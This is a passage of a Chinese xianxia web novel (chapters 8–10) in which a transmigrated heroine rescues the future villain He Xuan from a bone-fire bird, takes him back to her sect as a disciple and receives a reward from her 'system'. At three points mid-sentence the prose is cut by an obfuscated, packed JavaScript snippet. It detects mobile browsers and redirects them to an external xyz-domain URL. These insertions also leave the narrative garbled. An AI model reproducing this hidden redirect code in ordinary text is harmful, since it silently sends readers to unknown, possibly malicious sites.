“你不愿意跟我回天凌宗?”宁惜打断他的思绪,回视道,“虽说我们栖云峰这一脉的实力,确实不太行,但怎么说瘦死的骆驼都比马大。整个九州想拜入天凌宗的人如过江之鲫,你居然不想?” 贺玄薄唇轻启,正欲回话。 空中忽而发出一声巨响,与陶老伯对战的三人被一道强烈的气浪震开,只见四周的雾气顷刻间散去,地面开始颠簸,天地更是混沌一片。 再一眨眼,骨炽鸟的本体赫然出现在了众人眼前。 它通身燃烧着红色火焰,本该覆盖着丰厚羽毛的地方,空无一物,一身骨骼完全暴露在外,它的头颅尤其可怖,眼窝深陷,里头跳动着两点幽暗、贪婪的赤红光芒。 宁惜看向退回至她身边的三人,询问道,“你们怎么找到本体的?” 慕湘指着赵今遥,“二师姐发现陶老伯身下的影子有些不对,我们集体攻破后,骨炽鸟的本体就出来了。” “现在还不是时候。” 慕湘懵懂抬头,没听懂宁惜这话是什么意思。 赵今遥扶着受伤的手臂,“他无心与我纠缠,只想靠着浓雾逃走再将我们困死在幻境城里。真让他走了,我们没有第二片护心鳞,找不到本体,就算宗门的人来了也没用。” 这回慕湘听懂了。 她钦佩地望着宁惜和赵今遥,虽说不清楚师姐们是何时向宗门传递的讯息,但多亏她们提前做了后手准备! 宁惜自然知晓赵今遥的决定是对的,“可眼下我们无人能与三阶妖兽抗衡,只会死得更快。” 正这般说着,骨炽鸟突然张开巨口,它双翼上那些嶙峋的骨刺骤然脱离,化作数十道拖着苍白尾焰的骨矢,朝她们的位置覆盖而下。 赵今遥手中长枪一旋,配合慕湘的反震符,将骨矢还了回去。 “顾不了那么多了。”赵今遥道,“按进城前的时间来算,宗门的人应该快到了。我们能拖一时是一时。” 宁惜的视线追随着赵今遥的身影,见她飞身再度与骨炽鸟打了起来,眉头轻轻皱了下。 这次,鲤鱼精和慕湘都乖乖待在原地没动。 两人深知自己修为低浅,过去的下场唯有死路一条,只能在原处用一些符箓协助赵今遥攻打骨炽鸟。 随着骨炽鸟本体的现身,幻境便出现了罅隙,但还不足以崩塌让她们逃出去。 而赵今遥与骨炽鸟打不过两个来回,明显有些乏力了,她至今未突破金丹,并不能独自对抗三阶妖兽。 众人的目光紧张地追随着赵今遥,眼看她难抵骨矢攻击,要被骨炽鸟尖锐的利爪撕碎,呼吸顿时一滞。 贺玄微微抬眼,目光锁定在宁惜身上。 人群中,宁惜岿然不动。 她的眼神格外平静,似是情绪缺失,淡漠到根本不在意自己师妹的死活,又似是洞察一切的绝对掌控。 而下一刻,一支带着熊熊烈焰的箭矢划破天际,瞬间穿透了骨炽鸟的右翅。 8. 第 8 章 “是应师姐!” 慕湘紧盯着空中那抹身影,眼眸极亮。 半空中,应无虞穿着代表天凌宗的蓝白色宗门校服,她生得明媚灿烂,肌肤细腻如雪,眼神透亮坚定,腰间佩戴着银铃,有几分不谙世事的天真欢快。 完全不似一个已经步入金丹的少年天才。 然而,几乎是在骨炽鸟振翅的瞬间。 应无虞目光一凌,右手虚握,一柄通体赤红、两端呈凤鸟展翅状的长弓凭空出现,无需箭囊,她左手并指搭弦,周身灵力如潮水般涌入弓身。 弦上再次凝聚一支炽热的火焰箭矢,箭尖处的空间都被灼烧得有些扭曲起来。 手指松开的刹那间,火焰箭矢穿过众人眼前,直直击中骨炽鸟的左翅,再度将它定回地面。 有应无虞及时赶来救场,祝夷初也趁机躲开了利爪攻击。她收起长枪,扶着地面站了起来,看着不远处被定在地上动弹不得的三阶妖兽,眼神复杂。 “宁师姐。” 暂时挟制住骨炽鸟,应无虞先来到宁惜身前,“你们还好么?我和师兄来得有些晚了。” “不晚。” 宁惜还想说点什么,有人影跟在应无虞后面悄然现身了,她看向同样穿着宗门校服、一身清冷气息的男子,迟疑了。 这是男主? “谢澜?” 被叫中的姓名的谢澜目光微移,落在宁惜脸上,他眼底没什么情绪,倒是看不出喜怒来。 从前大部分时候,宁惜都躺在栖云峰上,除开必要时刻,基本可谓是足不出户。 虽然她也从两位师妹师弟口中,听说过不少有关点苍峰的事。 譬如应无虞拜师掌门梅净尘,成为点苍峰最小的师妹,再譬如应无虞仅用六年时间修炼至金丹,成为九州大陆现世最年轻的金丹期修士。 就连应无虞的大师兄谢澜,年轻小辈中第一个修至金丹后期的人,当年都比不上她。 等等,诸如此类的事还挺多。 但宁惜也是直到今天,才第一次与传闻中的两位主角近距离接触,刚才也是靠原文里描写女主的那把赤翎弓,才认出应无虞的。 就更别提,书中那成日不见踪影的神秘男主谢澜了。 她第一时间没认出来也正常。 “你好。” 宁惜想着,理直气壮地朝谢澜打招呼,她担心谢澜不知道她们是谁,还十分贴心地向他一一介绍道:“我是栖云峰宁惜。那是我的二师妹赵今遥,对,就那个握着长枪站骨炽鸟跟前发呆的,然后这是我的小师妹,慕湘。” 谢澜对宁惜这番突如其来的自我介绍,感到困惑不解。 他怎么记得,他们似乎都是一个宗门的? “……” 尽管有些想不明白,但出于尊重,谢澜还是礼貌地称宁惜一声,“宁师姐。” 虽说在场之人都属同辈,但宁惜是他们这一代中最早拜入天凌宗的亲传,哪怕她这么多年来修为不长进,在名义上却也是实打实的宗门大师姐。 身后的慕湘跟着叫人,“谢师兄好。” “嗯。” 谢澜淡淡应声,他向来性子冷淡,便不再同她们多说,将众人的注意力重新拉回三阶妖兽上,“骨炽鸟弱点已出。师妹,你配合赵师妹夺下妖丹吧。” “好。”应无虞爽快应下。 应无虞已步入金丹,而听谢澜这意思便是摆明了不打算出面,想让应无虞拿骨炽鸟练手,多积攒些实战经验。 地上,骨炽鸟快要挣脱掉箭矢的束缚。 宁惜看见赵今遥回过神,握紧坠星枪上前。她的目光在情绪不太对劲的赵今遥身上停留一秒,还没来得及细想,身侧的谢澜忽然开口叫她。 “宁师姐。” 谢澜问,“那个凡人是何来历?自我进入幻境以来,他的视线从未从你身上离开过。” “谁?” 没曾想宁惜会直接回头,谢澜沉默一瞬,终是道,“人群最尾端站着的男子。” “长得最好看那个么?” “……是。” “哦。”宁惜不在意道,“他是我们栖云峰未来的小师弟。” 谢澜皱眉,“岳师叔打算收他作亲传?” “对啊。” “收他一个毫无根基的凡人为亲传弟子?”谢澜不敢相信地询问道,“直接越过内门?” “没错。” “……” 谢澜抬眸看向态度肯定的宁惜,不得不问,“岳师叔他知晓此事么?” “不知道,我正打算回去再跟他说。” 宁惜这话说得轻巧,仿佛栖云峰是她做主一般。 谢澜眼神微顿,回想往日岳归衍在宗门里的做派,不说话了。 远处,应无虞和赵今遥还在与骨炽鸟纠缠打斗,两人一枪一弓,招招致命,不给骨炽鸟留一丝余地。 谢澜略一沉思,念及此事虽表面与他们点苍峰无关,但无论如何都关乎整个宗门,便还是多问了一嘴:“宁师姐可知他姓甚名谁,出身如何?” “还没问呢。” “?” 谢澜不认同道,“宁师姐什么都不知,便打算将他带回宗门,如若他是魔道中人,欲意对我们天凌宗不利呢?” “这个你不用担心。” 面对信誓旦旦的宁惜,谢澜眼底满是疑惑,“宁师姐知道什么?” “是啊。” 见宁惜自信回话,谢澜总算松了口气。 一旁的宁惜则无所谓地摊了摊手,不用担心啊,因为贺玄他本来就是嘛。 这么想着,宁惜不由得回头看了贺玄一眼。 她见贺玄站在人群最末,眼眸沉沉,不知在想些什么,只不过在察觉到视线的瞬间,立刻抬头望了过来。见是宁惜,他眉眼一弯,朝她笑了起来。 迎上贺玄温柔含笑的眼眸,宁惜也弯唇朝他微微一笑。 “……” 谢澜正欲提醒宁惜,此人身上杀气过重,并不适合拜入她们栖云峰,前方却突然传来一阵灵气波动,中断了他们的谈话。 两人一抬眼,恰巧看见应无虞和赵今遥被发狂的骨炽鸟震了回来,它头颅内的妖丹微微亮着,散发出剧烈的能量波动。 “不好。”谢澜神情一变。 他话音刚落,骨炽鸟猛地仰起头,发出一声尖锐短促的厉啸声,它妖丹核心处传来碎裂的响声,接着,整个幻境应声破灭。 天地昏沉,正是夜深之时。 宁惜环顾一圈熟悉的尸胡山,询问两位师妹,“骨炽鸟自爆了?” “嗯。”应无虞解释,“赵师姐的坠星枪击碎了骨炽鸟的头骨,但我们还未来得及夺取妖丹,它便先自爆了。” 骨炽鸟的头颅是它全身最坚硬的地方,寻常攻击难以破开,因而赵今遥与应无虞方才同它纠缠了好几番,才找到突破口。 眼看就要得手,骨炽鸟感知到危机,当即便要与她们同归于尽。 不等她们几人交流,一颗微缩版太阳从骨炽鸟胸膛诞生,无声地膨胀开来。光芒所到之处烈火焚烧,草木坚石瞬间化为飞灰,有种势必要毁灭掉一切事物的既视感。 而光芒核心,是无数燃烧着的惨白色骨矢碎片。 它们感应到活人气息便会自动进行攻击,寻常护身符都难以抵抗,更别提,她们身后还有一群需得庇护的凡人。 可这些对谢澜来说,却是轻而易举之事。 几乎是在滚滚烈火向她们席卷而来的一刹那,谢澜迅速反应,他并指立于胸前,眸中精光一闪,召出本命飞剑,凭一己之力抵挡焰火,将众人稳稳护在身后。 但见他剑光凌厉,颇有开山断江的磅礴气势,周遭的空气仿佛凝固了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316313|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,而后谢澜一剑下去,燃烧的烈火瞬间湮没。 亲眼目睹同辈中半步元婴的一剑灵力,身后的赵今遥与慕湘双双愣在了原地,显然是有些认知颠覆了。 宁惜倒是没什么反应。 总归有谢澜在,用不着自己,她只需要看住贺玄就行。 出发之前,宁惜曾在脑子里设想过无数种方案。人机系统说,贺玄是大世界人物中疑心最重的一个,要取得他的信任并非易事,难度堪比飞升。 而宁惜思来想去,也只想到给他养废这一个好法子。 书中,贺玄今年才年十七,只要能把他带回天凌宗,放眼皮子底下给他养成废人,没有修为他还能翻天去不成? 什么用爱温暖感化,哪还用得着费那劲。 正想着,宁惜眼眸微顿。 她忽然回头看向人群最末处,见贺玄孤零零地站在最后,当即抬脚走了过去。 贺玄抬眸看着朝自己走来的宁惜,依旧是那副笑吟吟的模样,可细看,便会发现他眼眸深处藏着的阴戾。 原本,贺玄正在心里盘算着悄声离开的事。 前几世应无虞谢澜两人与他势不两立,而自昨日他重生起,识海便又是一片干涸,体内仅剩的那一成修为再度被封,此时若是冒头被他们发现,绝无好处。 眼下更重要的,是要先弄清楚修为被封的缘由。 于是心中决策一下,贺玄便要实施,谁知身子刚一动,前头的宁惜就仿佛感知到了什么,侧过身,隔着层层人群望向了他。 “仙师有事找我?” “嗯,有一点。” 贺玄笑笑,“仙师但请吩咐。” “等谢澜解决完骨炽鸟,你跟我们回宗门。” 宁惜说得认真,也并非是询问他的语气。 见她第二次提及此事,贺玄心底戒备更重了,他迎上宁惜平静的眼眸,不禁开始怀疑她是不是知道些什么。 如若是重生之事被知晓…… 贺玄眸色一沉,他断不可能让宁惜活着回到天凌宗。 然而下一刻,宁惜却说,“回天凌宗,拜入栖云峰做亲传。” “……” 此时此刻,贺玄当真是看不透宁惜的心思了,他前世不知手刃过多少天凌宗的弟子,甚至一度逼得他们一众长老出山追杀。 让他拜入天凌宗?还是亲传? 宁惜究竟在打什么主意。 两人对视,心思各异。 场面未僵持太久,谢澜一剑打断了他们。 他那一剑带着巨大的风压,将地面都压出裂纹来,而骨炽鸟更是妖丹一震,当场从中央碎开一条缝,它周身的火焰登时弱下去。 看样子骨炽鸟撑不了几时了,谢澜很快便能结束这场对战。 贺玄冷冷地收回目光,重新看向对面盯着自己看的宁惜。 刚一张嘴,眸光中闪过的人影让他猛地顿住。陶老伯不知何时出现在了他们身后,他躲在树后头,用手中的法器瞄准了宁惜身下的位置。 贺玄脚步一转,刚准备躲闪,不想被牵连进去。 身侧响起宁惜的提醒,“小心!” 话音未落,贺玄便看见宁惜毫不犹豫地抓住了他的手,将正欲躲开的他一把薅了回去。 两人掌心相握的一刻,贺玄识海轻微波动,原本沉寂的体内,突然涌出一股久违强势的力量。 而不过须臾,识海再次重归宁静。 贺玄不由得一愣,没等他深究,浮在空气中的数千道骨矢碎片突地转变方向,齐齐朝着他与宁惜刺来。 眼看着骨矢碎片越来越近,前方一道身影闪过,宁惜的发丝绕过他的脸颊,挡在了他身前。 她用手中仅有的一把玄铁剑,击碎最近的几道骨失碎片,然后情真意切地朝他喊道: “你快走!” “……” 9. 第 9 章 不等两人有反应,随后紧跟的数千道骨矢立马将他们团团围住。 宁惜握紧玄铁剑,手腕一横,她消耗自身灵力,将其余骨矢全都阻拦在外,才不至于让他们两人当场毙命。 头顶悬空的骨矢碎片震撼又渗人,一旦落下,两人便会分分钟死无葬身之地。 “……” 身前的宁惜咬牙强撑,不一会儿,贺玄见她白净的额间便布满了汗珠。 “仙师真是好算计。” 贺玄笑得讥讽,知晓陶老伯打算偷袭她,于是将计就计走到他身边来,这就是宁惜的目的? 先让他置于危险之中再出手救他,要他对此感激涕零? 白日做梦。 “你说什么?”宁惜似乎没听清他方才的话,只回头说道,“你想办法出去,我顶不了太久!” 眼看宁惜还坚持着要把这场大戏演下去,贺玄微微笑了。 他站立在她身后,先是冷眼望向他们周身密密麻麻的骨矢碎片,随后轻轻垂眸,目光落在宁惜单薄的背影上。 不多时,宁惜便难抵骨矢的攻击,她握着玄铁剑的手微微发颤,身子更是不受控地往后退。 贺玄看着两人之间渐渐缩小的距离,嘴角一抹意味不明的笑,“仙师,我想不到办法,如此看来我们只能一起死了。” 话一出,宁惜果然皱了皱眉。 见她接不住话,贺玄双眸翻涌着愉悦,恶劣地笑了,他正要将宁惜那副虚假的面容撕开,却听见她问: “你想和我死同穴?” “的确,这几千道骨矢下去,我们两个人加起来不知道还能剩多少尸骨。” 宁惜说这话时没有半分恐惧和害怕,言语间透着一股认真与随意。 贺玄微微皱眉。 还未反应过来,宁惜又说,“那你先叫声师姐听听。” “什么?” 宁惜一字一句道,“叫我师姐。” 贺玄的脸色当即阴沉下去,他双眸带着森森寒意,目光向下,掠过宁惜那白皙细长的脖颈,忽地笑了。 他的双手搭上宁惜的肩膀,俯身凑近,“仙师与人相处时,好像很喜欢把人当成傻子。”贺玄动作亲昵,掌心离她的脖颈只有毫厘。 “有吗?”宁惜认真道,“可毫无关系的人不能死同穴,这是天凌宗的规矩。” 闻言,贺玄指尖的动作一顿。 宁惜回头看他,眼神平平,“要改口么?” “……” “师姐!” 赵今遥的声音打断了两人。 贺玄看着淡然回正身子的宁惜,收敛了眼底的幽暗,站在她身后,不再开口。 但见两位师妹朝着他们跑了过来,应无虞也跟在后面。 赵今遥指尖的符箓飞出去,先把妄想逃跑的陶老伯给控制住,随后冲到宁惜面前来,“师姐你没事吧?” 宁惜笑着摇头,“我没事。” 她们三人看着层层围绕住宁惜和贺玄的数千道骨矢,无法近身,不得不停在两丈之外的空地上。 “师姐你们撑住!”慕湘朝宁惜喊道,“谢师兄马上就能击杀掉骨炽鸟了。” “来不及了。” 赵今遥皱眉,“骨炽鸟不会白白自爆,它死也会拉个垫背的,以师姐的修为护不住两个人,她撑不了太久。” 一旁的慕湘听见这话,着急了,“那怎么办?” “我们进去。”赵今遥说完,拿起手中的坠星枪要击碎最外头那一层的骨矢。 慕湘反应片刻,跟上自家师姐的步伐。 另一边,谢澜正独自一人与殊死抵抗的骨炽鸟对抗,根本无力抽身,她们不得不加快手上的动作。 然而,她们清理的速度却远远赶不上骨矢替补的速度。 每当外层的骨矢被击碎,不知从何处冒出来的骨矢碎片便会迅速围挡上来,再次将宁惜两人深深包裹住,不透露一丝缝隙。 完全是个无底洞。 赵今遥三人看着还在不断向内挤压、里层离宁惜近在咫尺的骨矢碎片,不禁面露担忧,慕湘更是急得眼泪都快要出来了。 “这法子不行!谢师兄为何还没能解决掉骨炽鸟……” 慕湘话落,谢澜的三道剑气落下,骨炽鸟顿时发出一声凄惨的叫喊。 三道剑气下去,围绕着宁惜和贺途的那堆骨矢缠绕上灰败的死气,它们嗡嗡震动着,发疯似的往里刺去。 距离再次缩短,离宁惜两人仅仅一寸之隔,只要一动,肌肤便能当场被割破。 “怎么回事?” 见状,赵今遥眉头一拧,眸中尽是茫然失措。 骨炽鸟这种三阶妖兽并非自然生灵,最早是由古时战场死气、怨气所化,而这几百年来,九州大陆各大势力发展十分平和,世间早已没了骨炽鸟的生存环境。 因此,在场根本没人与骨炽鸟有过实战经验。 宁惜看着眼前层层叠叠的骨白碎片,握剑柄的手心渐渐抵不住压力,虎口周围的皮肤开始破裂,渗出丝丝血迹。 “让谢师兄速杀骨炽鸟,师姐撑不住了!” 赵今遥声音一出,里头立即传来一声轻笑。 “仙师,你的师妹们似乎嫌我们死得还不够快。” 众人齐齐看向骨矢中的贺玄,赵今遥皱眉,“什么意思?” 经由贺玄这一提醒,应无虞突然想起来,“不能杀骨炽鸟!它一死,宁师姐他们周围的骨矢碎片便立马会落下!” 两人这番言论传至谢澜耳中,谢澜几乎不带思考,选择了停手。 地上奄奄一息的骨炽鸟有了喘息的空间,嗡嗡作响的骨矢也随之停下,间接印证了应无虞的说法。 可对宁惜与贺玄来说,处境却没好多少。 虽说骨矢碎片暂且停止了攻击,但它们仍然浮在半空中,紧紧贴着两人的身体,叫他们动弹不得。 “我早前在古籍上看见过一些骨炽鸟的传闻。如若它引爆妖丹自爆,会寻找时机将全部骨矢集中攻击一人,开启无限追杀,届时它身上受到的伤害越激烈,骨矢便会随之进攻得更为猛烈,直至两方死亡。” “那师姐不就得跟着它一起死?”慕湘震惊后,马上又问,“应师姐,你知道破除的办法么?” “古籍上并未标明。” 闻言,赵今遥眉心一蹙,她解开陶老伯身上困住的符箓,蛮横地提起他的衣襟,“破除的办法是什么?” “办法自然有。” “说。” “放走我家主人,你们师姐自然就安全了。”陶老伯倒不吝啬。 只不过众人皆不满意这个回答,慕湘直白道:“绝无可能。我们怎知你话中是真是假,放走你们对我们一无好处,你当我们是傻子吗?” “哈哈哈哈哈!” 陶老伯笑容得意,“除了按我说的做,难不成你们还有其他抉择吗?” “你!” 相较于气恼的慕湘,赵今遥看着刻不容缓的局势,倒是出奇冷静地询问应无虞,“围攻条件是什么?随机选择的?” 赵今遥想不明白。 事发时宁惜分明站在人群末尾,按理说应当是最安全的地方,可骨炽鸟却绕过他们一众人等,选中了师姐和一个凡人? “嗯……”应无虞沉思片刻,不太肯定道,“我记得,似乎是优先择选在场修为最高之人。” 此话一出,几人眼里明显有着淡淡的疑惑。 就连骨矢阵里的贺玄,也饶有兴趣地看向了宁惜,眼中笑意冷冷。 不过宁惜本人却没什么反应,她神色坦然,仿佛对此事也是一头雾水。 “可是,”慕湘直接说道,“我们中修为最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316314|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的难道不应该是谢师兄么?谢师兄都金丹后期了,师姐才筑基呢……” 赵今遥并非不明白此事,而且远不止师妹慕湘提出的这一个疑团,与宁惜一起被围困的—— 还有一个凡人。 这般想着,赵今遥的目光轻轻从贺玄身上掠过,她问应无虞,“会不会是你记错了?” “不会。” 应无虞坚定的回答,再度让场面僵持了。 远处的谢澜默默看守着骨炽鸟,没参与三人的讨论,只待她们商议出结果。 “师姐,怎么办?”慕湘望向赵今遥。 赵今遥眸底闪过一丝冷意,她咬着牙,正欲将陶老伯再审问一番,骨矢阵里传来一道清亮的嗓音。 “直接动手吧。” “不行!”赵今遥少见地急了。 慕湘眼眶顿时红了,反倒层层骨矢中的两位当事人出奇的淡定。 “小师妹。”宁惜看向慕湘,“还记得我之前叫你做了什么吗?” 慕湘一怔,眼底的伤心顿时消失,“我知道了师姐,交给我。” 两人打谜语一般的对话惹得众人纷纷侧目,赵今遥刚要询问,然而谢澜没给她开口的机会,他应了声“好”,当机立断,再一剑斩碎了骨炽鸟的妖丹。 妖丹遭受攻击的刹那,宁惜她们四周的骨矢碎片随之震动。 不过一霎,没了妖丹的骨炽鸟便消散了。 那悬在宁惜与贺玄头上的数千道骨矢碎片,停顿一秒后,毫不犹豫地转向了陶老伯。 陶老伯惊恐地睁大双目,还未来得及反应,所有的骨矢皆数没入他的身体,给他扎成了肉泥,当场没了生息。 天边黎明破晓时,所有骨矢也化为齑粉。 “好了。” 宁惜半点劫后余生的庆幸都没有,只是说,“总算是结束了。” “……” 赵今遥三人被这反转惊得愣在了原地,还是应无虞眼尖瞥见符箓消散的痕迹,最先反应过来: “宁师姐,你让慕师妹提前给陶老伯下了高阶替身符?” “是啊,我怕死就找了个垫背的。” 宁惜这番理直气壮的语气,不禁让她们三人哽在了原地。 “……” 谢澜也是眼皮一跳,谁能分得清,宁惜与魔道修士的区别在哪? 鲤鱼精也总算明白,先前赵今遥与她谈判为何是那般态度了。 原来是上梁不正下梁歪。 “好了。” 谢澜的声音打断了他们的思绪,“稍作休息,我们便离开尸胡山吧,先把他们送至最近的城郭,再回宗门。” 众人对谢澜的决定没有异议,他们将那十几个普通凡人护送到乐陵南边的城郭,鲤鱼精则向那些凡人一一认错获得原谅后,就自行离去了。 正要御剑飞回不筠山,赵今遥看着站在城墙下还未离开的贺玄,眉头一皱,走到宁惜身边问道:“师姐,他怎么还在?” “哦,他跟我们一起回天凌宗。” “为什么?” “我打算让他拜入我们栖云峰做亲传。” “亲传?” 两个师妹满眼诧异,赵今遥有些不明白宁惜这些行为的用意,师姐从前不爱管事,对任何事物与人都是一副散漫随意的态度。 此人在师姐心中究竟会是怎样的存在? 赵今遥不敢细想下去,她嘴唇一动,正要出声,岂料刚叫一声“师姐”,身旁的宁惜抢先开口唤了声。 “贺玄。” 宁惜嗓音清冷。 她只是稍稍往后看了一眼,而身后的贺玄听见声音,低着脑袋瞬间抬了起来,他眉眼柔和,薄唇带着笑意,朝她们走来。 他在宁惜面前停下,模样乖巧地叫了声:“师姐,你叫我么?” “……” 10. 第 10 章 “师姐,我不同意。” 赵今遥当着贺玄的面,直言不讳道,“且不论我们还并不了解他的为人,以他现在的资质,回天凌宗也顶多去外门当弟子,怎可进我们栖云峰?” 她们栖云峰本就不如其他三脉,若再收个毫无根基的凡人做亲传,等回宗门不得被人笑话死去? 赵今遥直盯着宁惜,不肯退让半分。 宁惜知道她这个二师妹向来要强,平日里就一心只为栖云峰着想,她沉思下来,正在心中想着理由,身旁的贺玄抢先开口了。 “师姐,”贺玄微微侧过身,他面向宁惜,低头道,“这位仙师说得对,像我这样毫无修为的凡人本就该从外门开始修炼。我自小无父无母,能拜入天凌宗已是我的荣幸,师姐方才舍身救我一命,我实在不愿看你为难……” 赵今遥眉头一皱,“你说话便说话,做出这副无辜可怜模样给谁看?” “师姐。” 贺玄说完,抬头看向宁惜,“我没有。” 他被骨炽鸟抓去囚禁虐待了半个月,虽说服用过疗伤丹,可身上那些伤口却还未完全愈合,大大小小的红痕遍布全身,脸色透着一股不寻常的苍白,尽显病弱阴郁之态。 “你!” “二师姐……”慕湘发觉局势不对,连忙扯住赵今遥的衣角,小声说道,“不然先回宗门等师尊定夺再说吧,应师姐他们还在呢。” 赵今遥一听,理智顿时回笼,她冷冷地剜了贺玄一眼,带着慕湘先行御剑离去。 …… 半个时辰后,她们一行六人御剑飞行,很快回到了天凌宗的外围山脉区域。 不筠山地属九州中土。 它四季适宜,终年云雾缭绕,外围迎仙岭中的灵雾常年不散,住着许多低阶的灵兽与仙禽。 而再往前,山势陡然变得险峻起来,一座座山峰如利剑般拔地而起,灵雾中,依稀可见通往天凌宗宗门的长石阶,而直插云霄的主峰更是居于最中央,被其余各峰如众星围月般环绕着。 一路去往主峰的问仙殿,中途偶然遇见几个御剑穿梭在云海里的弟子,瞧见他们,纷纷敬重地称呼几人一声师兄师姐。 其中当属应无虞名声最亮。 她三年筑基、六年金丹的传闻,至今都还在宗门里流传着,修道天才的名称更可谓是无人不知无人不晓,宗门天之骄子般的存在。 抵达问仙殿。 因着应无虞和谢澜此次下山是接了宗门任务,需先汇报,宁惜她们便没在问仙殿留太久,道别后,径直回了栖云峰。 栖云峰在天凌宗东侧的一线山脉上,临着飞天瀑布而建。 四人在提有“栖云峰”三字的石碑前落地后,当即有一道嘹亮爽朗的男声响起。 “师姐!师妹!你们总算回来了!” 宁惜的三师弟陆时逍激动地冲了上来,“你们怎么下山玩不带上我啊?让我一个人留在这冰冷冷的栖云峰上,孤苦伶仃守空房,是不是孤立我?” 慕湘正想纠正陆时逍,她和二师姐下山前分明叫过他,是师兄自己不愿意去拒绝了她们。岂料没等她说出口,陆时逍却定睛看向了站在宁惜身后的贺玄。 “师姐,他是谁啊?” “我们师尊人呢?”宁惜不答反问。 “在库房吧。师尊前两日又去找了小师叔喝酒,刚回来不久,他从小师叔那儿薅了不少宝物和法器,这会儿正忙着清点呢。” 宁惜点头,显然已经习惯了,只是问:“清点多久了?” “应该才开始不到一刻?” “那最少还要一炷香,我先回房休憩片刻再去库房。师弟,你带他去换掉这身乞丐装,再帮他准备一杯拜师茶。” “拜师茶?” 陆时逍很快反应过来,他眼睛一亮,指着贺玄问道:“他要拜入我们栖云峰吗?” “嗯。” “那太好了!”相较于赵今遥的排斥,陆时逍十分热情地走到贺玄身边,搭着他的肩膀,乐呵呵道,“咱们栖云峰上以后就不止我一个男丁了,总算是有人能陪我说说话了!” 说着,陆时逍笑嘻嘻地朝贺玄伸手,“你好啊,我叫陆时逍,拜入栖云峰有五年了,只不过前年才从内门升为亲传,以后我就是你的三师兄了!” 贺玄撇开陆时逍搭在他肩上的手臂,笑意不达眼底,“三师兄好。” “走吧,你跟着我先去换身衣服。我看你这副狼狈的模样,从前在山下没少受人欺凌吧?不过你放心,以后有我这个做师兄的罩着你,再也不会有人敢欺负你……” 陆时逍说话的声音渐渐远去。 赵今遥看着抬脚离开的宁惜,跟上她的脚步。 宁惜的居所在西北侧最外间的一处院子,院外崖边有一棵她亲手种下的桃树,树下云海厚重,瀑布急湍,是唯一一处与整个栖云峰分隔开来的幽静居所。 “师姐,你坚持要把他带回宗门的理由究竟是什么?” 面对赵今遥不断地追问,宁惜倒也不觉得烦,她走上浮石,认真答道,“我不是早就告诉过你了?” “什么?” 赵今遥一时没反应过来,不禁蹙眉,还是身侧安静跟着的慕湘提醒了一句,“是因为事关师姐的生死么?” “对。” “可是……” 眼见赵今遥还想问下去,宁惜转身打断道,“好了。我的事你们就别再管了,与骨炽鸟纠缠劳累,师妹,你带着小湘儿先回去休息一番吧。” “是,师姐。” 两人应下,乖乖沿着原路折返回去。 目送着两个师妹走远,宁惜这才继续走回居所,她一转身,脑海里消失已久的人机系统突然冒了出来。 【恭喜宿主!您已成功解救反派,并达成“舍身相救”成就。】 浮空的面板一闪,【系统天道008正在为你发送奖励,请不要退出此界面。】 “还有奖励?” 这让宁惜有些诧异了,她问,“能自选么?我想要飞升。” 【叮!】 008无视掉宁惜的话,【您的888积分奖励已到账,请注意查收。】 “……” 尽给些没人要的东西。 【宿主,积分可是很有用的东西哦。】 “比如?集满多少能飞升?” 【……这个不行哦,但您可以想一想别的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316315|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,比如用500积分兑换升级神器。】 “干嘛用的?” 【可以对我进行手动升级,让我成为更高级的系统(*^▽^*)】 宁惜脚步一顿,“你红豆吃多了想死?” 【嘤嘤嘤。】 008委屈,宿主私底下可真难相处,满脑子就只有飞升飞升飞升。 “……我看你是真想死了。” 【我错了。】 宁惜眼神淡淡,她对008的火速认错置若罔闻,只是径直走入院中。 “那就说点有用的。” 【抱歉宿主,目前我的权限太低,积分奖励只能用来兑换升级神器。不过升级后我可以帮您实时监视反派,对他进行全面人格分析,方便您更好攻略感化他。】 宁惜对这些话毫无反应。 她来到桃树下,先是拿开躺椅上放着的竹扇,躺了下来,随后淡声应道,“真没用。” 【……】 008着急了,【升到最高等级后可以探查反派心声,还能获得解除生死咒的线索!】 “这个还有点用。”宁惜给予肯定,她嗓音懒懒的,“那你兑换一个吧。” 【好嘞。】 008得到指令,迅速用500积分兑换一个系统升级神器,马上进行了升级。不多时,空中重新弹出一个面板,上面写着贺玄的所有个人信息。 姓名:贺玄 年龄:18 性别:男 身份:未来灭世反派大魔头 外貌:极品 性格:心狠手辣,过于极端 修为:【???】 感化值:-100000000 (注:感化值越高走向正道的几率就越大哦~) 宁惜:“……” 【检测到额外数值,贺玄对您的特殊情感值已达到50,恭喜宿主!】 